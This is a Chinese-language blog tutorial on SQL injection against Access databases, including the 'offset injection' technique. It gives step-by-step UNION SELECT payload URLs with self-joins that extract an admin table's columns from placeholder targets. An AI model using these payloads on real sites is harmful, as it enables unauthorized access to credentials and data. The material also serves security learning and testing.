Acces数据库注入|偏移注入

Posted 向阳-Y.

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Acces数据库注入|偏移注入相关的知识,希望对你有一定的参考价值。

Acces数据库的注入方式和其他主流数据库稍微有不同,因为Acces数据库的特性,也不会存在高权限跨库。


1.Access一般采用暴力猜解的方式进行注入
mysql等注入都是大同小异的,只是Access不能查看information文件,只能靠暴力猜解,相关Mysql注入文章
2.Access偏移注入:解决列名获取不到的情况
所有的数据库注入方式基本相同,除了access注入,这里补充一下:access偏移注入
2.1.先找出有多少个列:

http://xxxxxx?id=xx union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

2.2.一直测试该网页,直到页面再次成功访问:

http://xxxxxx?id=xx union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin
http://xxxxxx?id=xx union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,* from admin
http://xxxxxx?id=xx union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from admin
......
http://xxxxxx?id=xx union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin

22-16=6(用*代表 admin 表的字段数,计算*代替字符的位数)
代表我们要查询的表所包含的列数(也就是说目标表有6列)
之前用*号代表6个,这里的as后面的语句也代表1个*号,也表示6个,所以得出下面的结果:
一级偏移:

http://xxxxxx?id=xx union all select  1,2,3,4,5,6,7,8,9,10* from (admin as a inner join admin as b on a.id = b.id)

如果一级偏移无法爆出结果,则可以考虑使用二级偏移
添加如下语句后,又可以表示为一个*(6个长度),所以在原有基础上10-6=4
二级偏移:

http://xxxxxx?id=xx union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)

3.解决表名获取不到的情况:
可以通过查看登录框源代码的表单值,或者观察url特征来针对性猜解
例如:http:/127.0.0.1/zb_system
1.表名很可能与zb_system有关,前缀zb
2.在网页源代码中查看代码中的ID之类的表单值关键字进行尝试
如果再不行就只能靠字典了~

以上是关于Acces数据库注入|偏移注入的主要内容,如果未能解决你的问题,请参考以下文章

access偏移注入*过滤了怎么办

移位溢注:告别靠人品的偏移注入 (推荐)

ACCESS数据库偏移注入

以下代码片段是不是容易受到 Rails 5 中 SQL 注入的影响?

asp 评论注入

安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段